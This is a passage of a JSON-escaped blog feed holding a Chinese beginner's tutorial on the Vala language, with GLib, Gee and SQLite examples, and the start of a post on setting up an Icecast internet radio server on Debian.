target=\"_blank\" rel=\"noopener\"\u003eGNOME 小矮人\u003c/a\u003e开发的面向对象编程语言。编程语法接近 Java,围绕 \u003ca class=\"link\" href=\"https://gitlab.gnome.org/GNOME/glib/\" target=\"_blank\" rel=\"noopener\"\u003eGLib\u003c/a\u003e 库展开。编译方式是先翻译成 C 语言代码,然后编译。用途嘛……我来讲个故事吧。\u003c/p\u003e\n\u003cp\u003e我半年前学了 Dart,Google 开发的语言,编程语法接近 Javascript。官网说它是“多用途语言”,然而我感觉多数人学了它,就是为了用 Flutter :-P\u003c/p\u003e\n\u003cp\u003eVala 也是这样,名义上是一个“多用途语言”,但是我感觉多数人学了它,只是为了 GTK。我也是不知道为啥,非得用这个语言写我的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/MySQL/exp4\" target=\"_blank\" rel=\"noopener\"\u003e数据库大作业\u003c/a\u003e,花了两周时间边学边写,最后也不知道我学了个啥……\u003c/p\u003e\n\u003cp\u003e不得不说,GLib 是一个很强大的库。本来说是给 GTK 服务的,后来独立出去了。它实现了单/双向链表,变长数组,树,Map 等数据结构。它还以 GObject 为中心,构建了一个相当完善的,庞大的,\u003cdel\u003e让我这个菜鸡不知所以的\u003c/del\u003e类系统。\u003c/p\u003e\n\u003cp\u003e接下来大致介绍顺序:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出(从键盘输入,从终端输出)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句 if-else 和 switch\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句,包括计数和计事件循环\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我一点都不懂的面向对象\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eGLib 库和 Gee 库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSQLite 3 库\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e先给大家推荐一些前人的经验教训:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wszqkzqk.github.io/2022/10/17/%E6%8E%A2%E7%B4%A2Vala%E8%AF%AD%E8%A8%80/\" target=\"_blank\" rel=\"noopener\"\u003e探索Vala语言 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://valadoc.org/index.htm\" target=\"_blank\" rel=\"noopener\"\u003eValadoc.org (Vala 库文档网站)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Documentation\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/Documentation - GNOME Wiki! (官方文档)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"基本输入输出\"\u003e基本输入输出\u003c/h2\u003e\n\u003cp\u003e官方演示:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/BasicSample\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/BasicSample - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出一句话,都是那德行:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n // GLib 的 print 函数\n print(\u0026#34;Clapton is GOD!\u0026#34;);\n // 使用到了 stdin / stdout / stderr 对象\n stdout.printf(\u0026#34;%s is GOD!\u0026#34;,\u0026#34;Clapton\u0026#34;);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e输入一个数字:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n // 双精度浮点数\n double a;\n // 类似 C 语言的 scanf,注意 out\n // 不是取地址符\n stdin.scanf(\u0026#34;%lf\u0026#34;,out a);\n // 类似 C 语言的 printf\n stdout.printf(\u0026#34;%.3f\u0026#34;,a);\n\n int b;\n stdin.scanf(\u0026#34;%d\u0026#34;,out b);\n stdout.printf(\u0026#34;%d\u0026#34;,b);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e输入字符串:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n stdout.printf(\u0026#34;Welcome, what\u0026#39;s your name?\u0026#34;);\n string a = stdin.read_line();\n stdout.printf(\u0026#34;OK, %s, main course is prepared for you.\u0026#34;,a);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"判断语句\"\u003e判断语句\u003c/h2\u003e\n\u003cp\u003eif-else 判断:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n stdout.printf(\u0026#34;Enter a year: \u0026#34;);\n int year;\n stdin.scanf(\u0026#34;%d\u0026#34;,out year);\n if ((year % 4 == 0 \u0026amp;\u0026amp; year % 100 != 0) || year % 400 == 0 ) {\n print(\u0026#34;Maybe Olympics if no war.\u0026#34;);\n } else {\n print(\u0026#34;No Olympics.\u0026#34;);\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eswtich 判断:\u003c/p\u003e\n\u003cp\u003e省略,很少用到。\u003c/p\u003e\n\u003ch2 id=\"循环语句\"\u003e循环语句\u003c/h2\u003e\n\u003cp\u003e计次数循环 for\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 金字塔输出\nvoid main() {\n int a;\n stdin.scanf(\u0026#34;%d\u0026#34;,out a);\n for (int i = 1; i \u0026lt;= a; i += 2){\n for (int j = 0; j \u0026lt; (a - i) / 2; ++j) {\n print(\u0026#34; \u0026#34;);\n }\n for (int j = 0; j \u0026lt; i; ++j) {\n print(\u0026#34;*\u0026#34;);\n }\n print(\u0026#34;\\n\u0026#34;);\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e计事件循环 while\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// Vala 引用库的方式\nusing Random;\n\nvoid main() {\n // 这里我用了随机数类\n int toGuess = Random.int_range (0, 50);\n while (true) {\n int a;\n stdout.printf(\u0026#34;Enter a number: \u0026#34;);\n stdin.scanf(\u0026#34;%d\u0026#34;, out a);\n if (a == toGuess) {\n break;\n }\n if (a \u0026lt; toGuess) {\n print(\u0026#34;Think larger.\\n\u0026#34;);\n } else {\n print(\u0026#34;Think smaller.\\n\u0026#34;);\n }\n }\n print(\u0026#34;Match\\n\u0026#34;);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"面向对象特性\"\u003e面向对象特性\u003c/h2\u003e\n\u003cp\u003e先说一句,我面向对象课学的一塌糊涂,如果想了解更多,请看官方介绍:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Tutorial#Object_Oriented_Programming\" target=\"_blank\" rel=\"noopener\"\u003eProject/Vala/Tutorial#OOP\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意,Vala 基于 GLib,GLib 包含 GObject,GObject 仅支持单向继承。所以,跟 Java 一样,Vala 是单继承+接口。\u003c/p\u003e\n\u003cp\u003e从大家喜闻乐见的开始:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eclass Animal {\n // 类里面的变量\n // 和 Java 一样,有 private protected public\n protected string name;\n // 构造函数\n public Animal (string _name){\n name = _name;\n }\n // 析构函数,一般不用写\n // ~Animal();\n // 方法\n public void action () {\n print(\u0026#34;Punish you in the name of the moon, \u0026#34;);\n }\n}\n\nclass Cat : Animal{\n private bool cute;\n public Cat (string _name, bool cute) {\n // base() 调取父类构造函数,必须写\n base(_name);\n this.cute = cute;\n }\n // 重写方法需要加 \u0026#34;new\u0026#34;\n public new void action () {\n base.action ();\n print(cute ? \u0026#34;meow~\u0026#34; : \u0026#34;graw~\u0026#34;);\n }\n}\n\nvoid main() {\n Cat a = new Cat(\u0026#34;A\u0026#34;,true);\n a.action();\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这个是我从网上抄的一段代码:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 接口,也就是不能被实例化的虚类。\ninterface Printable {\n // abstract 要由继承的类实现\n public abstract string print ();\n\n // virtual 有默认的实现\n public virtual string pretty_print () {\n return \u0026#34;Please \u0026#34; + print ();\n }\n}\n\nclass NormalPrint: Object, Printable {\n // 实现上面的 abstract\n string print () {\n return \u0026#34;don\u0026#39;t forget about me\\n\u0026#34;;\n }\n}\n\nclass OverridePrint: Object, Printable {\n string print () {\n return \u0026#34;Mind the gap\\n\u0026#34;;\n }\n\n // 重载函数,覆盖 virtual 的默认实现\n public override string pretty_print () {\n return \u0026#34;Override\\n\u0026#34;;\n }\n}\n\nvoid main (string[] args) {\n var normal = new NormalPrint ();\n var overridden = new OverridePrint ();\n\n print (normal.pretty_print ());\n print (overridden.pretty_print ());\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"gee\"\u003eGee\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Libgee\" target=\"_blank\" rel=\"noopener\"\u003eGee\u003c/a\u003e 相当于 C++ 里面的 STL 。我对这个了解不多,先把官方的示例贴上来:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/GeeSamples\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/GeeSamples - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e实际上 GLib 已经实现了很多的数据结构,但我个人建议 Gee,功能比 Glib 本身有的更丰富,但是编程的时候需要添加 Gee 库。 \u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eusing Gee;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eGlib 中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eArray\u0026lt;类型\u0026gt;:变长数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eList\u0026lt;类型\u0026gt;:双向列表\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGee中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSet\u0026lt;类型\u0026gt;:无重复集合\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eHashMap\u0026lt;类型1,类型2\u0026gt;:哈希字典\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体用法请参阅相关文档和示例,链接给完了,我溜了~\u003c/p\u003e\n\u003ch2 id=\"迭代匿名函数\"\u003e迭代,匿名函数\u003c/h2\u003e\n\u003cp\u003e首先是匿名函数,很简单:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e(函数形参)=\u0026gt;{函数体语句}\n(函数形参)=\u0026gt;一条语句\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e一般用于函数作形参的时候,临时写一个简单的。比如下面那个情况。\u003c/p\u003e\n\u003cp\u003e还有迭代,有些预先定义好的数据结构都支持迭代,使用的时候使用 \u003ccode\u003eforeach\u003c/code\u003e 方法就好。比如说:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main () {\n List\u0026lt;int\u0026gt; a = new List\u0026lt;int\u0026gt;();\n a.append (1);\n a.append (2);\n a.append (3);\n a.append (4);\n a.append (5);\n // foreach 方法需要一个函数,这里面的就是匿名函数\n a.foreach((i)=\u0026gt;print(i.to_string ()));\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"异常处理和空值\"\u003e异常处理和空值\u003c/h2\u003e\n\u003cp\u003e先写出一个错误空间,说明这是啥大类的错误,里面可以细分。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic errordomain DatabaseError {\n COULDNT_OPEN,\n EXECUTION_FAILED,\n PREPARATION_FAILED,\n BIND_FAILED,\n INVALID_GAME,\n NOT_FOUND,\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e写函数/方法的时候,可以加入 \u003ccode\u003ethrows\u003c/code\u003e 关键字,注明会抛出啥错误。里面需要抛出错误的时候,使用 \u003ccode\u003ethrow\u003c/code\u003e 语句抛出。下面是一个例子:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 说明这个函数会抛出 DatabaseError 错误\nprivate void open () throws DatabaseError {\n int sql_return = Sqlite.Database.open_v2 (NAME_OF_DB, out m_db);\n if (sql_return != Sqlite.OK) {\n // 这句话,先新建一个错误类,里面写的是具体内容,然后抛出\n throw new DatabaseError.COULDNT_OPEN (\u0026#34;Cannot create database: %d, %s\\n\u0026#34;, sql_return, m_db.errmsg ());\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要捕捉抛出的错误,请使用 try-catch-finally 语句:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic void createDatabase () {\n try {\n open ();\n exec (CREATE_FLIGHT_TABLE_QUERY);\n exec (CREATE_HOTEL_TABLE_QUERY);\n exec (CREATE_BUS_TABLE_QUERY);\n exec (CREATE_CUSTOMER_TABLE_QUERY);\n exec (CREATE_RESERVATION_TABLE_QUERY);\n // 错误被捕捉到了\n } catch (DatabaseError e) {\n stderr.printf (\u0026#34;%s\\n\u0026#34;, e.message);\n }\n // 可以加写一个 finally,finally 总会被运行\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eVala 的变量可以设为空值,方法是加一个问号:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main () {\n // 这句话会报错\n int a = null;\n // 这句话不会报错\n int ? b = null;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e我个人认为,如果你不能确保方法确实能返回一个元素,可以使用这个。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eint ? a () {\n try {\n int result;\n // 我没在摸鱼\n return result; \n } catch (CatchFishBeFoundError e) {\n return null;\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e当然,可以不用这么麻烦,这只是一个例子。\u003c/p\u003e\n\u003ch2 id=\"sqlite-3-库\"\u003eSQLite 3 库\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.sqlite.org/index.html\" target=\"_blank\" rel=\"noopener\"\u003eSQLite\u003c/a\u003e 是一个库,实现了很完备的关系数据库。它将数据库存在一个文件里,使用的时候,调用 SQLite 库相应的函数,来对这个文件数据库进行基本操作。\u003c/p\u003e\n\u003cp\u003e这东西是一个 C 语言库。但 Vala 可以使用 C 库,它使用 vapi 文件来对应 C 的头文件。(实际上 Vala 也可以写 C 语言库,毕竟这玩意最后还是会变成 C 语言来编译。)\u003c/p\u003e\n\u003cp\u003e所以说,Vala 的 SQLite 库用起来应该和 C 语言的差不多。不过请注意,Vala 是面向对象的,而 SQLite 的库在引用到 Vala 的时候,做了面向对象的处理。\u003c/p\u003e\n\u003cp\u003e使用前,引用这个库:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eusing Sqlite;\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"数据库类\"\u003e数据库类\u003c/h3\u003e\n\u003cp\u003e如此定义一个数据库对象:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Database m_db;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e打开数据库:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Database.open_v2 (string path, out Sqlite.Database);\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行语句:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003em_db.exec (string sql_exec);\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"数据库声明类\"\u003e数据库声明类\u003c/h3\u003e\n\u003cp\u003e定义方式如下:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Statement add_flight;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e准备声明:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic Sqlite.Statement prepare (string sql) throws DatabaseError {\n Sqlite.Statement statement;\n // 加不加 v2 都行,需要 sql 语句字符串,字符串长度,输出到一个 statement 类\n int sql_result = m_db.prepare_v2 (sql, sql.length, out statement);\n if (sql_result != Sqlite.OK) {\n throw new DatabaseError.PREPARATION_FAILED (\u0026#34;Cannot prepare satement for %s: %d, %s\\n\u0026#34;, sql, sql_result, m_db.errmsg ());\n }\n return statement;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e绑定声明:\u003c/p\u003e\n\u003cp\u003e绑定依然有一系列的函数,此处只看绑定字符串\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate void bind_text (Sqlite.Statement statement, string stmt, string text) throws DatabaseError {\n // 这是寻找 statement 中 stmt 的位置\n int index = statement.bind_parameter_index (stmt);\n if (index \u0026lt;= 0) {\n throw new DatabaseError.BIND_FAILED (\u0026#34;Could not bind %s: %s not found in the statement %s.\\n\u0026#34;, text, stmt, statement.sql ());\n }\n // 绑定,index 是索引,text 是要绑定的字符串\n int sql_result = statement.bind_text (index, text);\n\n if (sql_result != Sqlite.OK) {\n statement.reset ();\n throw new DatabaseError.BIND_FAILED (\u0026#34;Could not bind %s: %d, %s\\n\u0026#34;, text, sql_result, m_db.errmsg ());\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行声明并清除绑定:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate void step (Sqlite.Statement statement) throws DatabaseError {\n // 执行声明\n int sql_return = statement.step ();\n // 清除绑定\n statement.reset ();\n if (sql_return != Sqlite.DONE) {\n throw new DatabaseError.EXECUTION_FAILED (\u0026#34;Execute failed: %d, %s\\n\u0026#34;, sql_return, m_db.errmsg ());\n }\n return;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e循环取出返回值:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 摘抄自我的大作业代码\npublic HashMap\u0026lt;string, HashSet\u0026lt;string\u0026gt;\u0026gt; ? avaliable () {\n try {\n var Graph = new HashMap\u0026lt;string, HashSet\u0026lt;string\u0026gt;\u0026gt; ();\n // 创建一个声明,这个是一个查询语句\n Sqlite.Statement get_flight = this.prepare (\u0026#34;SELECT FromCity,ArivCity FROM FLIGHT;\u0026#34;);\n // 我前面说过返回值的事情,Sqlite.ROW\n while (get_flight.step () == Sqlite.ROW) {\n string from = get_flight.column_text (0);\n string to = get_flight.column_text (1);\n if (!Graph.has_key (from)) {\n Graph[from] = new HashSet\u0026lt;string\u0026gt; ();\n }\n Graph[from].add (to);\n }\n return Graph;\n } catch (DatabaseError e) {\n stdout.printf (e.message);\n return null;\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"如何速通一个编程语言\"\u003e如何速通一个编程语言\u003c/h2\u003e\n\u003cp\u003e我当时是这么学的 C 语言:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e函数\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e结构体\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e指针\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e前三条是说明这个语言大致的语法如何,因为编程思维的逻辑无非就那些:从哪里开始,需要那些材料,需要经过那些步骤,那些步骤得不断进行,这个步骤执行的条件是什么,这个步骤的结束条件是什么,最后的成果是如何的?逻辑搞明白了,接下来就是靠语言实现了。\u003c/p\u003e\n\u003cp\u003e接下来第四条,我认为是说明这个语言的性质。C 语言是面向过程的语言,所以主要是函数。而要是面向对象的话,教完函数之后,就是教你如何写一个类,如何搞继承之类的了。\u003c/p\u003e\n\u003cp\u003e剩下那三个,说明这个语言的数据结构。数据结构,有链表,栈,队列,字符串,树,图之类,还有集合,键值对字典这些常用的。这些东西给你了实现的工具,不过大多数语言已经实现了,比如 Java 。\u003c/p\u003e\n\u003cp\u003e最后,速通了语言,不代表所有。你得找到相对应的库。要是库很缺乏,或者根本没学的话,很有可能你啥都干不了。我暑假两天速通了 Javascript,然后我由于没学任何 Javascript 的库,比如 vue / react 啥的,我都不知道要用这个来干嘛:-P\u003c/p\u003e\n\u003cp\u003e最后,如有不完备或错误之处,敬请谅解。我还是水平不够啊:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Bart%20On%20Radio%203x13.jpg\" alt=\"Featured image of post 如何在网上开自己的电台?\"/\u003e\u003cp\u003e实际上这个文章我老早就想写了,不过我中间基本上忘了这档子事。\u003c/p\u003e\n\u003cp\u003e先说明一下,这个电台是纯音乐电台,没有画面。要搞画面的话,建议了解 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e开一个电台,需要两个部分:电台推流软件,电台服务器,以及收听软件。就像传统的电台一样,得有个录音室,发射塔,然后是收音机。啊哈,是不是回到了各位童年,听着中国之声呢(不是)。\u003c/p\u003e\n\u003ch2 id=\"电台服务器icecast\"\u003e电台服务器~Icecast\u003c/h2\u003e\n\u003cp\u003e实际上我接触过两个开电台的软件,一个是上面提到的 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。不过这玩意更像是视频服务器,我就不想说了。\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.icecast.org\" target=\"_blank\" rel=\"noopener\"\u003eIcecast\u003c/a\u003e 是一个音乐电台服务器,也就是说,它接受电台推流软件传来的数据,经过处理(包装),然后向收听软件推送数据。这里我就不说啥 \u003ccode\u003em3u8\u003c/code\u003e,\u003ccode\u003eogg\u003c/code\u003e是啥了,毕竟我也不知道,而且又不影响咱用,对不对啊:-)\u003c/p\u003e\n\u003cp\u003e既然 Icecast 是一个服务器软件,那么\u003cdel\u003e它就得运行在服务器上\u003c/del\u003e实际上是个电脑就能运行,不过最好还是个服务器吧,比如说你在网上买到的阿里云服务器之类。不过如果你只是想在你的家里搞个自嗨广播,那电脑直接运行也好。前提是你能处理好路由器端口映射和电脑的防火墙,那就不是我的事情了2333\u003c/p\u003e\n\u003cp\u003e以下我用 Linux 系统举例子,更特殊的说,是 Debian 11 。其他的发行版,应该能举一反三吧…….\u003c/p\u003e\n\u003cp\u003e使用这个命令安装 icecast\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"c1\"\u003e# apt install icecast2\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装完了,就得配置,看一下我这个配置文件片段吧,你的配置文件应该在 \u003ccode\u003e/etc/icecast2/icecast.xml\u003c/code\u003e 下面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;icecast\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这俩选项主要是说明电台的地址(location)和管理员是谁,\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 感觉就是为了展示用的 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;location\u0026gt;\u003c/span\u003eSUPERBART\u0026#39;S LAND\u003cspan class=\"nt\"\u003e\u0026lt;/location\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;admin\u0026gt;\u003c/span\u003eicemaster@localhost\u003cspan class=\"nt\"\u003e\u0026lt;/admin\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 尤其对于小白用户,以下内容十分重要:\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 最好一开始*只*修改密码,然后重启 Icecast 。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 想要详细配置说明的话,请查阅文档。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 文档也在这里提供:http://icecast.org/docs/\n\u003c/span\u003e\u003cspan class=\"c\"\u003e (原来配置文件的一段)\n\u003c/span\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 请各位不要直接使用这个配置文件,看明白了修改自己电脑里的配置文件。--\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"nt\"\u003e\u0026lt;limits\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这段都是设置服务器的限制的,比如最多几个人听,最多开几个频道之类。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 大多数选项我也不太懂,尽量别改吧。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;clients\u0026gt;\u003c/span\u003e200\u003cspan class=\"nt\"\u003e\u0026lt;/clients\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;sources\u0026gt;\u003c/span\u003e5\u003cspan class=\"nt\"\u003e\u0026lt;/sources\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;queue-size\u0026gt;\u003c/span\u003e25600000\u003cspan class=\"nt\"\u003e\u0026lt;/queue-size\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;client-timeout\u0026gt;\u003c/span\u003e30\u003cspan class=\"nt\"\u003e\u0026lt;/client-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;header-timeout\u0026gt;\u003c/span\u003e15\u003cspan class=\"nt\"\u003e\u0026lt;/header-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;source-timeout\u0026gt;\u003c/span\u003e10\u003cspan class=\"nt\"\u003e\u0026lt;/source-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;burst-on-connect\u0026gt;\u003c/span\u003e1\u003cspan class=\"nt\"\u003e\u0026lt;/burst-on-connect\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/limits\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里修改各种密码,是重点捏 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;authentication\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 推流密码,推流账户名 source --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;source-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/source-password\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 中继密码,中继账户名 source --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;relay-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/relay-password\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 网页管理页面界面的账户和密码 --\u0026gt;\u003c/span\u003e\n \u003cspan 